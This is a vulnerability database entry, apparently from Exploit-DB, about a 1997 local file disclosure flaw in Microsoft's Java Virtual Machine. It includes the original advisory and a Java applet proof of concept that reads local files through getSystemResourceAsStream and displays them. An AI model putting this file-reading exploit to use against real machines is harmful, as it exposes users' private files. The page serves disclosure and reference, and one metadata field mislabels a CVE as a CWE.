header-logo
Suggest Exploit
vendor:
Microsoft Java Virtual Machine
by:
Unknown
4.3
CVSS
MEDIUM
Local File Information Disclosure
200
CWE
Product Name: Microsoft Java Virtual Machine
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: YES
Related CWE: CVE-1999-0018
CPE: a:microsoft:java_virtual_machine
Metasploit:
Other Scripts:
Platforms Tested: Windows
1997

Microsoft Java Virtual Machine Local File Information Disclosure

Microsoft's Java Virtual Machine allows a remote Java application to read local file information in two ways. The first method is using the getSystemResourceAsStream() function, which requires specifying the filename and restricts the file to certain paths. The second method is using the getSystemResource() function, which accepts the '../' string in the pathname, allowing access to any file on the same drive as the Java installation.

Mitigation:

There is no known mitigation for this vulnerability. It is recommended to upgrade to a newer version of Microsoft Java Virtual Machine or switch to an alternative Java Virtual Machine.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/957/info

Microsoft's Java Virtual Machine will allow the reading of local file information by a remote Java application. This can be done two ways:

1: Via the getSystemResourceAsStream() function. The filename must be specified, and must be in certain paths: the JVM 'home' directory, and any directory in the CLASSPATH environment variable. For IE 5 the home directory is the current user's desktop, for IE4 it is C:\ . The specified file can be read.

2: Via the getSystemResource() function. Unlike the first function, this one will accept the ../ string in the pathname, making it possible to access any file on the same drive as the Java installation. However, the file cannot be read, it is only possible to verify the existence or non-existence of a file by this method.

import java.awt.*;
import java.awt.event.*;
import java.io.*;
public class Test extends java.applet.Applet {
TextArea outputArea;
TextField filePathnameInputField;

public void init() {
setLayout(new BorderLayout());
outputArea = new TextArea();
add(BorderLayout.CENTER, outputArea);
filePathnameInputField = new TextField();
filePathnameInputField.setText("AUTOEXEC.BAT");
Panel p = new Panel();
p.setLayout(new BorderLayout());
add(BorderLayout.NORTH, p);
p.add(BorderLayout.CENTER, filePathnameInputField);
Button actionButton = new Button("Read It!");
p.add(BorderLayout.EAST, actionButton);
actionButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
new ActionThread().start();
}
});
}
class ActionThread extends Thread {
public void run() {
try {
String filePathname = filePathnameInputField.getText();
// InputStream is = getClass().getResourceAsStream(filePathname);
InputStream is = ClassLoader.getSystemResourceAsStream(filePathname);
BufferedReader br = new BufferedReader(new InputStreamReader(is));
StringBuffer buf = new StringBuffer();
while (true) {
String line = br.readLine();
if (line == null) break;
buf.append(line).append("\n");
}
outputArea.setText(new String(buf));
} catch (Exception e) {
outputArea.setText(e.toString());
}
}
}
}